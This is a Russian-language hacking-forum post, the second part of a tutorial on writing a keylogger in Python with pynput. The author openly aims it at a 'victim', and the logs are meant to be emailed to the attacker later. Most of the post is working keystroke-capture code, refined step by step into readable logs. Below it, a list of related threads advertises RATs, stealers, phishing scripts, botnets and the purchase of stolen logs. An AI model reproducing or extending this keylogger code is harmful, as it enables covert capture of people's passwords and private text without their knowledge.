Свой мини кейлоггер на python. Часть 2

Anorali

Original poster
Pro Member
Сообщения
100
Реакции
128
Посетить сайт
Всем привет! Это вторая часть написания кейлоггера на python, приступим!

Есть два вида кейлоггера - локальный и удалённый.
Когда мы закинем нашу малварь жертве, локальный кейлоггер будет просто выводить все нажатые клавиши на экран, как он сейчас и делает, но нам, как хакеру от этого пользы не будет! Нам нужен удалённый кейлоггер, то есть, мы просто будем вести логи, для дальнейшей отправки на почту.

Python:
import pynput.keyboard

def process_key_press(key):
    print(key)

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    keyboard_listener.join()

Можно просто сделать открытие и логирование файла с помощью with, но открывать и редактировать файл каждый раз, когда человек нажимает что-нибудь на клавиатуре не гуд, поэтому мы воспользуемся глобальными переменными. Конечно мы можем просто создать обычную переменную в самой функции, но т.к. эта функция обратного вызова переменная будет создаваться по новой, каждый раз, когда жертва что-нибудь пишет, а это глупо!

Объявляем переменную log за пределами функции , как пустую строку, а затем и в ней. Далее прибавляем к нашей переменной саму переменную и параметр key

Python:
log = ""

def process_key_press(key):
    global log
    log = log + str(key) # str() потому что иначе будет ошибка конкатенации
    print(log)

Снимок экрана 2020-06-23 16:42:21.png

В итоге мы добавили всего три строчки и сделали результат вывода слитным, но читабельным этот результат не назвать, поэтому мы добавим ещё кое-что:

Python:
    log = log + str(key.char)

То есть, мы просто говорим программе не добавлять приставку u'' " и выводить только символ

Снимок экрана 2020-06-23 16:45:54.png

Но если мы введём специальный символ, например пробел, то у нас выскочит ошибка, потому что мы просили вывести символ, но у пробела его нет. И для решения этой проблемы мы воспользуемся исключением - try except

Python:
log = ""

def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except:
        log = log + str(key)
    print(log)

Снимок экрана 2020-06-23 16:53:07.png

Как видим никаких ошибок нет, но есть ещё одна проблема - между словами нет пробелов! Решается это очень легко, просто добавим перед специальными символами и после, пробел!

Python:
log = ""

def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except:
        log = log + " " + str(key) + " "
    print(log)

Теперь наш результат будет гораздо читабельней, но будет ещё удобнее если заместо key.space мы будем видеть пробел

Python:
log = ""

def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except:
        if key == key.space:
            log = log + '' # если пробел
        else:
            log = log + "" + str(key) + "" # если не пробел, то записать как есть
    print(log)


Python:
import pynput.keyboard

log = ""

def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except AttributeError:
        if key == key.space:
            log = log + ' '
        else:
            log = log + ' ' + str(key) + ' '
    print(log)

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    keyboard_listener.join()

Вот результат:

Снимок экрана 2020-06-23 16:57:17.png


Согласитесь, такой текст читать куда приятней и комфортнее. А на этом вторая часть подошла к концу, всем удачи!
 
Последнее редактирование:
  • Like
Реакции: rjeystarich
Название темы
Автор Заголовок Раздел Ответы Дата
Anorali Свой мини кейлоггер на python. Часть 3 Вирусология 2
Anorali Свой мини кейлоггер на python Вирусология 4
S Интересно Свой мини-рат на python + стиллер хрома v80 Софт от наших юзеров 8
G Python для хакера - Часть 4. Свой мини фреймворк. Другие ЯП 1
Support81 Важно!!! Создаем свой VPN с защищенным от блокировок протоколом AmneziaWG, или WireGuard на максималках Анонимность и приватность 3
ananda Куплю Куплю дорого свой запрос в ваших логах/строках Куплю/Продам 1
slovokek Куплю Ищу свой запрос в ваших логах, нужен лог и пасс!!! Куплю/Продам 1
K Интересно Отработаю свой Запрос GE в ваших логах Предоставляю работу. Ищу специалиста. 1
ananda Куплю Ищу свой запрос в ваших USA логах Куплю/Продам 1
NetRay NetRay - cоздай свой VPN Сайты/Хостинг/Сервера 1
M Куплю Свой запрос с ваших логов. GEO – любое Куплю/Продам 2
slovokek Куплю Куплю свой запрос в вашей валид базе US (mail:pass) Куплю/Продам 0
S ⏩ Как запустить свой товарный бизнес и начать зарабатывать, кейс. Способы заработка 0
A Пишем свой RAT на Python > {Часть 1} Уязвимости и взлом 3
U Интересно PHP - Пишем свой фишинг скрипт для кражи тт аккаунтов {Уровень: EASY} Другие ЯП 10
B Разработка ботов под любую рутину. Разгрузи свой график! Ищу работу. Предлагаю свои услуги. 1
L Чекну ваши базы, на свой банк 50/50 (Brute/Checker) Предоставляю работу. Ищу специалиста. 2
L Интересно C# - Критичный процесс (Защищаем свой вирус) .NET 0
H Интересно Как проверить свой браузер на утечку данных Полезные статьи 0
G Интересно Создаём свой магазин в телеграмме бесплатно. Полезные статьи 0
F Интересно Поднимаем свой IoT ботнет на основе Mirai Вирусология 4
igori9891 Сливаю свой мануал) Другое 0
S wpXtube плагин для WP с возможностью организовать свой туб+ партнёрство Другое 3
L Интересно Майк Новограц: ралли биткоина только начинается, не упустите свой шанс Новости в сети 0
K Как проверить свой ПК на ратник (без антивируса) Вопросы и интересы 4
T Как сделать свой Fishing сайт? Вопросы и интересы 7
Л Интересно Окуплю валид DE Паблик/Приват на свой сервис Ищу работу. Предлагаю свои услуги. 3
S Пишу свой ботнет, что думаете? Другие ЯП 3
andre5787 Как создать свой кейлоггер без знания языков программирвония? Вопросы и интересы 5
Multi-VPN Как отключить IPv6 в Windows и не спалить свой IPv6 адрес за VPN SSH / дедики / Vpn / Proxy / Socks 0
M Защищаем свой Python скрипт за пару минут Другие ЯП 0
W Свой шоп или работа с яндекс дзен Полезные статьи 0
АнАлЬнАя ЧуПаКаБрА INLINE ру проект для тех кто не хочет покупать дедики, домены и хостинг за свой счет Проекты Private Keeper 0
B Почему не стоит светить свой IP Анонимность и приватность 0
S Пишем свой перехватчик СМС Android Другие ЯП 3
M С чего начать свой путь в хакинге? СИ/Фишинг/Мошенничество 11
R я не могу посмотреть свой профиль Вопросы и интересы 1
L Свой магазин цифровых товаров за 5 минут Услуги дизайнеров/веб-разработчиков 1
G Защищаем свой сайт и контент от плагиата Уязвимости и взлом 1
K Как открыть свой обменный пункт электронных денег и криптовалют https://cloud.mail.ru/public/ADNB/6h4LdjqAB Другое 0
K Нейропластичность: Как перемонтировать свой мозг Другое 0
G Как построить свой личный ботнет и сколько это стоит Полезные статьи 0
K Wanna Builder (создай свой Wanna cry) Spam/DDOS/Malware 4
Traven Пишем свой стиллер на Python Другие ЯП 5
J Монах который пропил свой феррари Способы заработка 4
АнАлЬнАя ЧуПаКаБрА Google представила свой новый квантовый процессор Bristlecone (2 фото) Новости в сети 0
Z Как создать свой сайт в Даркнете ( .onion ) Другие ЯП 0
D Защищаем свой мобильный счёт от мошенников и операторов Полезные статьи 4
K Создаём свой ХАЙП проект Полезные статьи 11
A Delphi для начинающих – Урок 6 – Пишем свой калькулятор С/C++ 0

Название темы